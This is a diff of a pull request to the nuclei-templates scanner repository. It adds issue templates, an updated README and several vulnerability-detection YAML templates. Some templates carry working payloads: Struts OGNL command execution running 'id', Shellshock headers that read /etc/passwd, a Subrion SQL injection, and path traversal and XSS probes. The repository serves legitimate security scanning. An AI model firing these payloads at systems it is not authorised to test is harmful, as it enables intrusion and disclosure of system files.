Merge pull request #606 from CasperGN/cve-2020-26214

Add cve-2020-26214 detection
2026-11-07 08:36:19 -10:00 · 2020-11-07 16:42:45 +05:30 · 2020-11-07 11:47:02 +01:00 · 2020-11-06 16:25:19 +05:30 · 2020-11-06 16:24:02 +05:30 · 2020-11-06 15:59:10 +05:30
307 changed files with 6583 additions and 431 deletions
@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```
@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.
@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```
@@ -0,0 +1,11 @@
+.pre-commit-config.yaml
+security-misconfiguration/missing-x-frame-options.yaml
+security-misconfiguration/missing-hsts.yaml
+security-misconfiguration/missing-csp.yaml
+security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
+fuzzing/
+workflows/
@@ -1,19 +1,50 @@
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v7.2.0`
+
+| Template Directory      	| Number of Templates      |
+|---------------------------|--------------------------|
+| cves                     	|125                       |
+| default-credentials       |03                        |
+| dns                     	|04                        |
+| files                     |44                        |
+| fuzzing                   |02                        |
+| generic-detections        |03                        |
+| panels                    |39                        |
+| security-misconfiguration |25                  	   |
+| subdomain-takeover        |02           			   |
+| technologies              |32      				   |
+| tokens                    |08                        |
+| vulnerabilities           |33          			   |
+| workflows                 |15              		   |
+
+### nuclei templates `v7.2.0` tree overview 

 <details>
 <summary>Template Directory</summary>

 ```
-├── LICENSE
-├── README.md
-├── basic-detections
-│   ├── basic-xss-prober.yaml
-│   └── general-tokens.yaml
-├── brute-force
-│   └── tomcat-manager-bruteforce.yaml
 ├── cves
+│   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
+│   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-11444.yaml
+│   ├── CVE-2017-14537.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
+│   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
 │   ├── CVE-2018-0296.yaml
@@ -22,10 +53,14 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-11759.yaml
 │   ├── CVE-2018-1247.yaml
 │   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-16763.yaml
+│   ├── CVE-2018-17431.yaml
 │   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19386.yaml
 │   ├── CVE-2018-19439.yaml
 │   ├── CVE-2018-20824.yaml
 │   ├── CVE-2018-2791.yaml
@@ -33,51 +68,103 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-3760.yaml
 │   ├── CVE-2018-5230.yaml
 │   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11043.yaml
+│   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
 │   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
+│   ├── CVE-2019-12593.yaml
 │   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-15107.yaml
+│   ├── CVE-2019-15858.yaml
+│   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-1653.yaml
+│   ├── CVE-2019-16662.yaml
+│   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-16920.yaml
 │   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-17558.yaml
 │   ├── CVE-2019-18394.yaml
 │   ├── CVE-2019-19368.yaml
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6715.yaml
+│   ├── CVE-2019-7256.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8442.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-14179.yaml
+│   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-15129.yaml
+│   ├── CVE-2020-15505.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-24312.yaml
+│   ├── CVE-2020-2551.yaml
+│   ├── CVE-2020-25540.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
+│   ├── CVE-2020-5776.yaml
+│   ├── CVE-2020-5777.yaml
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
-│   └── CVE-2020-9757.yaml
+│   ├── CVE-2020-9496.yaml
+│   ├── CVE-2020-9757.yaml
+│   ├── cve-2019-9733.yaml
+│   └── cve-2020-0618.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
 ├── dns
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
@@ -86,11 +173,15 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── debug-pprof.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── domcfg-page.yaml
+│   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
+│   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
+│   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
 │   ├── filezilla.yaml
@@ -101,20 +192,42 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
+│   ├── ntlm-directories.yaml
+│   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
+│   ├── shell-history.yaml
+│   ├── sql-dump.yaml
 │   ├── telerik-dialoghandler-detect.yaml
 │   ├── telerik-fileupload-detect.yaml
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-db-backup.yaml
+│   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-emergency-script.yaml
+│   ├── wordpress-installer-log.yaml
+│   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
+│   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
 ├── panels
+│   ├── adminer-panel.yaml
+│   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
@@ -123,80 +236,127 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
 │   ├── globalprotect-panel.yaml
+│   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
-│   ├── mongo-express-web-gui.yaml
+│   ├── manage-engine-admanager-panel.yaml
+│   ├── mobileiron-login.yaml
+│   ├── netscaler-gateway.yaml
+│   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
+│   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard.yaml
+│   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
-│   └── webeditors.yaml
+│   ├── webeditors.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
+│   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── django-debug-detect.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
 │   ├── jira-service-desk-signup.yaml
 │   ├── jira-unauthenticated-dashboards.yaml
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
-│   ├── rabbitmq-default-admin.yaml
+│   ├── jupyter-ipython-unauth.yaml
+│   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
+│   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
-│   └── wamp-xdebug-detect.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-jenkin-dashboard.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   ├── wordpress-accessible-wpconfig.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
 ├── subdomain-takeover
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── apache-detect.yaml
+│   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
+│   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
-│   ├── ntlm-directories.yaml
+│   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
+│   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
+│   ├── fcm-server-key.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
+│   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
 │   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
+│   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
@@ -205,27 +365,47 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
+│   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
+│   ├── w3c-total-cache-ssrf.yaml
+│   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-emails-verification-for-woocommerce.yaml
+│   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
 └── workflows
+    ├── artica-web-proxy-workflow.yaml
    ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
+    ├── grafana-workflow.yaml
    ├── jira-exploitaiton-workflow.yaml
    ├── liferay-rce-workflow.yaml
+    ├── lotus-domino-workflow.yaml
+    ├── magmi-workflow.yaml
+    ├── mida-eframework-workflow.yaml
    ├── netsweeper-preauth-rce-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    └── springboot-pwner-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
 ```

 </details>

-13 directories, **204 templates**. 
+14 directories, **352 templates**. 

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -235,3 +415,4 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
+
@@ -0,0 +1,20 @@
+id: cve-2005-2428
+info:
+  name: CVE-2005-2428 testing
+  author: CasperGN
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body
@@ -0,0 +1,25 @@
+id: cve-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid="
+        condition: and
+        part: body
@@ -0,0 +1,31 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -1,9 +1,10 @@
-id: CVE-2017-10075
+id: cve-2017-10075

 info:
  name: Oracle Content Server XSS
  author: madrobot
  severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.

 requests:
  - method: GET
@@ -19,4 +20,4 @@ requests:
      - type: word
        words:
          - "<script>alert(31337)</script>"
-        part: body
+        part: body
@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,51 @@
+id: cve-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,21 @@
+id: cve-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,30 @@
+id: cve-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header
@@ -0,0 +1,25 @@
+id: cve-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body
@@ -1,29 +0,0 @@
-id: CVE-2017-7529
-info:
-  author: "Harsh Bothra"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-
-# This template supports the detection part only.
-# Do not test any website without permission
